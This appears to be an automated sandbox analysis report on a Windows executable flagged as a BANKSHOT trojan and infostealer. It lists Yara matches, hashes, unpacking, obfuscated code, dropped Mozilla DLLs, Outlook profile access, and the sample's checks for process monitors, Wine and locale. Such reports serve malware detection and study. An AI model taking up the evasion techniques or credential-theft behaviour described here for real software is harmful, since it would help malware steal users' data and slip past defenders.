Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: file.exe, 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.file.exe.60bbc8.1.raw.unpack, type: UNPACKEDPE

Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,

0_2_6C6BB700

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF	0_2_009B48CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AE019	0_2_009AE019
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B885A	0_2_009B885A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7686C	0_2_00A7686C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E855	0_2_00A3E855
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A493F	0_2_009A493F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00936166	0_2_00936166
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086427B	0_2_0086427B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E4399	0_2_009E4399
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B13B9	0_2_009B13B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008823BF	0_2_008823BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B9BF1	0_2_009B9BF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00940CC2	0_2_00940CC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00969C0B	0_2_00969C0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B6436	0_2_009B6436
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008CB476	0_2_008CB476
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B2DDF	0_2_009B2DDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005E45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 58 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 46 times

Source: file.exe, 00000000.00000002.2392510564.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.file.exe.60bbc8.1.raw.unpack, type: UNPACKEDPE

Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: file.exe

Static PE information: Section: whlvtsns ZLIB complexity 0.9947847098545562

Source: file.exe, 00000000.00000003.2089686437.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_005F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\NW8JK5UG.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2204986163.000000001D5F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220232339.000000001D610000.00000004.00000020.00020000.00000000.sdmp, HJDBAFIECGHCBFIDGDAA.0.dr, HJJECBKKECFIEBGCAKJK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2391962093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 52%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1881088 > 1048576

Source: file.exe

Static PE information: Raw size of whlvtsns is bigger than: 0x100000 < 0x1a5200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2392418682.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.5e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;whlvtsns:EW;upocvnzt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;whlvtsns:EW;upocvnzt:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d47fa should be: 0x1d2729

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: whlvtsns
Source: file.exe	Static PE information: section name: upocvnzt
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A898B8 push 752F2E14h; mov dword ptr [esp], ebx	0_2_00A8995F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8D8B9 push ecx; mov dword ptr [esp], edi	0_2_00A8D8DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1C094 push 2A70EB4Ah; mov dword ptr [esp], eax	0_2_00A1C142
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A650E4 push esi; mov dword ptr [esp], edi	0_2_00A6510B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A650E4 push 17D52A00h; mov dword ptr [esp], ebx	0_2_00A6519D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FA0D9 push ebp; mov dword ptr [esp], 147702F2h	0_2_009FA176
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5B8E8 push ebp; mov dword ptr [esp], 48AD2B5Dh	0_2_00A5B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5B8E8 push esi; mov dword ptr [esp], 6FEF0F4Ah	0_2_00A5B946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 0885AC35h; mov dword ptr [esp], ebp	0_2_009B48DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 71C4C1D1h; mov dword ptr [esp], ecx	0_2_009B494C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push ebx; mov dword ptr [esp], 4FDB2F2Ah	0_2_009B49F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 7765AF13h; mov dword ptr [esp], ebx	0_2_009B4B16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push edx; mov dword ptr [esp], eax	0_2_009B4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 5F527E21h; mov dword ptr [esp], edx	0_2_009B4B47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push esi; mov dword ptr [esp], 6FF5C0C9h	0_2_009B4BCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push eax; mov dword ptr [esp], edx	0_2_009B4BD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 19522B9Dh; mov dword ptr [esp], ecx	0_2_009B4C65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 3BF5C945h; mov dword ptr [esp], ebx	0_2_009B4CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 40B4C11Fh; mov dword ptr [esp], ebp	0_2_009B4CF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push eax; mov dword ptr [esp], ecx	0_2_009B4DCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 6B4A07E8h; mov dword ptr [esp], edx	0_2_009B4F5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push ebp; mov dword ptr [esp], ecx	0_2_009B5127
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push edi; mov dword ptr [esp], 3FBEA4C6h	0_2_009B5150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 0726099Dh; mov dword ptr [esp], ecx	0_2_009B5163
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push edx; mov dword ptr [esp], eax	0_2_009B518E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push 088EB0B5h; mov dword ptr [esp], edi	0_2_009B523F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push esi; mov dword ptr [esp], edx	0_2_009B5300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push edx; mov dword ptr [esp], ebx	0_2_009B531D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push eax; mov dword ptr [esp], ebp	0_2_009B535D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push ebx; mov dword ptr [esp], edx	0_2_009B5393
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B48CF push ebp; mov dword ptr [esp], esi	0_2_009B53ED

Source: file.exe

Static PE information: section name: whlvtsns entropy: 7.952917726453824

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_005F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-32445

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
